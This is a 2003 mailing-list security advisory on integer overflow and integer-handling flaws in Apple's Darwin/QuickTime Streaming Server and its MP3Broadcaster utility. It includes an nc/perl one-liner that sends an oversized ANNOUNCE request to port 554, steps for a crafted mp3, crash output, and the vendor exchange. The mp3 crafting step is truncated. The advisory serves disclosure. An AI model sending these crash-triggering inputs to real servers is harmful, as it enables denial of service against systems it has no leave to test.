QuickTime/Darwin Streaming Server security issues
From: Sir Mordred (mordred_at_s-mail.com)
Date: Thu, 22 May 2003 19:11:05 +0000 To: email@example.com
// @(#)Security advisory: QuickTime/Darwin Streaming server security issues
Release date: May 22, 2003
Name: QuickTime/Darwin Streaming server security issues
Author: Sir Mordred (firstname.lastname@example.org)
Darwin Streaming Server (DSS) is server technology which allows
you to send streaming QuickTime data to clients across the Internet using
the industry standard RTP and RTSP protocols.
It is based on the same code as Apple's QuickTime Streaming Server.
Please visit http://developer.apple.com/darwin/projects/streaming/ for more
information about DSS.
* ISSUE 1 - Integer overflow in QTSSReflector module
Integer overflow exists in ANNOUNCE request parsing routine:
$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n",
"A"x8192' | nc -v localhost 554
localhost [127.0.0.1] 554 (rtsp) open
too many output retries : Broken pipe
* ISSUE 2 - Integer handling vulnerability in MP3Broadcaster utility
MP3Broadcaster utility which is shipped with DSS, suffers from integer
handling vulnerability in ID3 tags parsing routines.
Below are the steps how to reproduce the issue:
First create the sample configuration file:
$ echo -e "\n" > test.conf
Then create a playlist file:
$ echo -e "*PLAY-LIST*\nsong.mp3" > mp3playlist.ply
Create a specially crafted mp3 file:
$ echo -e
" > song.mp3
Now, when the user tries to check his mp3 files (-X option):
$ MP3Broadcaster -X -l mp3playlist.ply -c test.conf
There is one movie in the Playlist.
Segmentation fault (core dumped)
III. VERSIONS TESTED
Linux RedHat 7.2 with DSS 4.1.3
$ echo -ne "OPTIONS * RTSP/1.0\nCseq: 1\n\n" | nc localhost 554
RTSP/1.0 200 OK
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Public: DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, ANNOUNCE,
IV. VENDOR STATUS
The emails have been sent to email@example.com,
firstname.lastname@example.org and after a bit of waiting got
rather interesting answer from Joel Hedden <email@example.com>:
Please correct us if this is wrong:
1. The bugs are only DoS attacks and cannot be used to breach security of
the host machine, run arbitrary code, etc.
2. Neither bug is remotely exploitable unless the administrator has
unauthenticated remote broadcasts (which is not likely).
I think both of the "bugs" can be used to "breach security of the host
machine, run arbitrary code, etc"...
After receiving response from Apple just decided to publish the advisory a
bit earlier then i planned.
Credits go to:
Sir Mordred <firstname.lastname@example.org> who discovered the issues.
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